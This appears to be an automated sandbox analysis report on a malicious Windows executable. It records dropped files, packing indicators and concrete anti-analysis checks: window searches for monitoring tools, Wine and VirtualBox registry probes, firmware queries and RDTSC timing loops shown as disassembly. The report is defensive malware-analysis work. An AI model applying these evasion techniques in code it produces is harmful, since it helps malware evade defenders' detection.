Jump to behavior

Source: ABnDy7rLFS.exe

Static file information: File size 1858560 > 1048576

Source: ABnDy7rLFS.exe

Static PE information: Raw size of tmotaokk is bigger than: 0x100000 < 0x19d800

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Unpacked PE file: 3.2.HIX4V53EFUK0JCGHMC1S24CIQ.exe.90000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Unpacked PE file: 4.2.A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ABnDy7rLFS.exe	Static PE information: real checksum: 0x1cde65 should be: 0x1ce8c1
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: real checksum: 0x2d28a0 should be: 0x2c6754
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61

Source: ABnDy7rLFS.exe	Static PE information: section name:
Source: ABnDy7rLFS.exe	Static PE information: section name: .idata
Source: ABnDy7rLFS.exe	Static PE information: section name:
Source: ABnDy7rLFS.exe	Static PE information: section name: tmotaokk
Source: ABnDy7rLFS.exe	Static PE information: section name: lvlnqusq
Source: ABnDy7rLFS.exe	Static PE information: section name: .taggant
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name:
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name: .idata
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name: tnrxecbv
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name: anayjrgy
Source: HIX4V53EFUK0JCGHMC1S24CIQ.exe.0.dr	Static PE information: section name: .taggant
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name:
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name: .idata
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name: wwqufnsk
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name: dutjqjqn
Source: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB68 push 6800E2CBh; retf	0_3_00E2CB6D
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB68 push 6800E2CBh; retf	0_3_00E2CB6D
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB50 push eax; retf	0_3_00E2CB51
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB50 push eax; retf	0_3_00E2CB51
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB54 push eax; retf	0_3_00E2CB55
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB54 push eax; retf	0_3_00E2CB55
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC5BC9 push 741874C0h; ret	0_3_00DC5DFA
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC95C9 push cs; iretd	0_3_00DC95EA
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC3997 push ds; retf	0_3_00DC3998
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DC3DB7 push ds; retf	0_3_00DC3DB8
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DB6CD3 push cs; iretd	0_3_00DB6CE2
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DBF6F7 push edi; ret	0_3_00DBF8F2
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DB6AEF push eax; retf	0_3_00DB6AF0
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DBF724 push edi; ret	0_3_00DBF8F2
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DB6CD3 push cs; iretd	0_3_00DB6CE2
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DBF6F7 push edi; ret	0_3_00DBF8F2
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DB6AEF push eax; retf	0_3_00DB6AF0
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00DBF724 push edi; ret	0_3_00DBF8F2
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB68 push 6800E2CBh; retf	0_3_00E2CB6D
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB68 push 6800E2CBh; retf	0_3_00E2CB6D
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB50 push eax; retf	0_3_00E2CB51
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB50 push eax; retf	0_3_00E2CB51
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB54 push eax; retf	0_3_00E2CB55
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Code function: 0_3_00E2CB54 push eax; retf	0_3_00E2CB55
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0022B0AC push 7A4F59F3h; mov dword ptr [esp], ebp	3_2_0022E0C7
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0022B0AC push eax; mov dword ptr [esp], 2D5DFFBFh	3_2_0022F8C6
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0009F1B6 push eax; mov dword ptr [esp], ebx	3_2_0009F1C8
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0021DE68 push ecx; mov dword ptr [esp], ebp	3_2_0021DE74
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0021DE68 push esi; mov dword ptr [esp], 76F72996h	3_2_0021DEA1
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0021DE68 push edx; mov dword ptr [esp], edi	3_2_0021DEDC
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Code function: 3_2_0021DF99 push edx; mov dword ptr [esp], 7BCC34CAh	3_2_0021DFDF

Source: ABnDy7rLFS.exe	Static PE information: section name: entropy: 7.981725131840289
Source: ABnDy7rLFS.exe	Static PE information: section name: tmotaokk entropy: 7.951804887863434

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File created: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe			Jump to dropped file
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File created: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C29CB second address: 5C29D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C29D1 second address: 5C29E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38D02h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C29E8 second address: 5C29ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C1CD0 second address: 5C1CDA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DD0C38CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C1FC3 second address: 5C1FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F0DD07A5D16h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push esi 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0DD07A5D24h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C2134 second address: 5C2158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F0DD0C38D0Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3C0E second address: 5C3C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3C12 second address: 5C3C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3C16 second address: 5C3C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3C1C second address: 5C3C34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jc 00007F0DD0C38CF6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3C34 second address: 5C3C5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0DD07A5D1Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3C5E second address: 5C3C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3D6C second address: 5C3D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0DD07A5D16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3D77 second address: 5C3D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3D7D second address: 5C3DC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 09809531h 0x0000000f xor esi, dword ptr [ebp+122D37C6h] 0x00000015 lea ebx, dword ptr [ebp+1244FB11h] 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F0DD07A5D18h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov dl, 10h 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3DC5 second address: 5C3DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3DC9 second address: 5C3DEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F0DD07A5D1Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3E8F second address: 5C3EB7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DD0C38CFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add ecx, 7DF63F5Eh 0x00000011 push 00000000h 0x00000013 mov esi, 03E154C7h 0x00000018 push 9B4B6FDFh 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3EB7 second address: 5C3EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3EC1 second address: 5C3EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3EC5 second address: 5C3F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 64B490A1h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F0DD07A5D18h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F0DD07A5D18h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Bh 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov si, di 0x00000047 mov edi, dword ptr [ebp+122D19F7h] 0x0000004d push 00000000h 0x0000004f jmp 00007F0DD07A5D23h 0x00000054 push 00000003h 0x00000056 mov dword ptr [ebp+122D2DEAh], esi 0x0000005c push 85A08C3Eh 0x00000061 pushad 0x00000062 pushad 0x00000063 jmp 00007F0DD07A5D22h 0x00000068 push ebx 0x00000069 pop ebx 0x0000006a popad 0x0000006b pushad 0x0000006c jmp 00007F0DD07A5D29h 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3F76 second address: 5C3F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 3A5F73C2h 0x0000000d and ecx, 170F7533h 0x00000013 lea ebx, dword ptr [ebp+1244FB1Ah] 0x00000019 mov dx, di 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3F97 second address: 5C3FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C3FFF second address: 5C4005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C4005 second address: 5C400A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C400A second address: 5C400F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C400F second address: 5C40B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ecx, dword ptr [ebp+122D372Eh] 0x00000012 or dword ptr [ebp+122D2327h], ecx 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b mov dword ptr [ebp+122D1D44h], esi 0x00000021 pop esi 0x00000022 mov dword ptr [ebp+122D26B6h], ecx 0x00000028 push 69089EDDh 0x0000002d jmp 00007F0DD07A5D29h 0x00000032 xor dword ptr [esp], 69089E5Dh 0x00000039 push 00000003h 0x0000003b call 00007F0DD07A5D25h 0x00000040 js 00007F0DD07A5D22h 0x00000046 jmp 00007F0DD07A5D1Ch 0x0000004b pop edx 0x0000004c push 00000000h 0x0000004e or esi, dword ptr [ebp+122D3772h] 0x00000054 or dh, FFFFFFCBh 0x00000057 push 00000003h 0x00000059 push ebx 0x0000005a jmp 00007F0DD07A5D21h 0x0000005f pop edx 0x00000060 call 00007F0DD07A5D19h 0x00000065 je 00007F0DD07A5D30h 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C40B8 second address: 5C410D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0DD0C38D02h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c js 00007F0DD0C38CFCh 0x00000012 pushad 0x00000013 jmp 00007F0DD0C38CFCh 0x00000018 jmp 00007F0DD0C38D07h 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C410D second address: 5C4128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C4128 second address: 5C414D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0DD0C38D06h 0x00000008 jmp 00007F0DD0C38D00h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F0DD0C38CF6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C414D second address: 5C419F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 jnl 00007F0DD07A5D16h 0x00000016 pop eax 0x00000017 jng 00007F0DD07A5D2Dh 0x0000001d popad 0x0000001e pop eax 0x0000001f xor dword ptr [ebp+122D2DDDh], eax 0x00000025 lea ebx, dword ptr [ebp+1244FB25h] 0x0000002b sbb cl, 0000007Dh 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C419F second address: 5C41A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 5C41A4 second address: 5C41AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
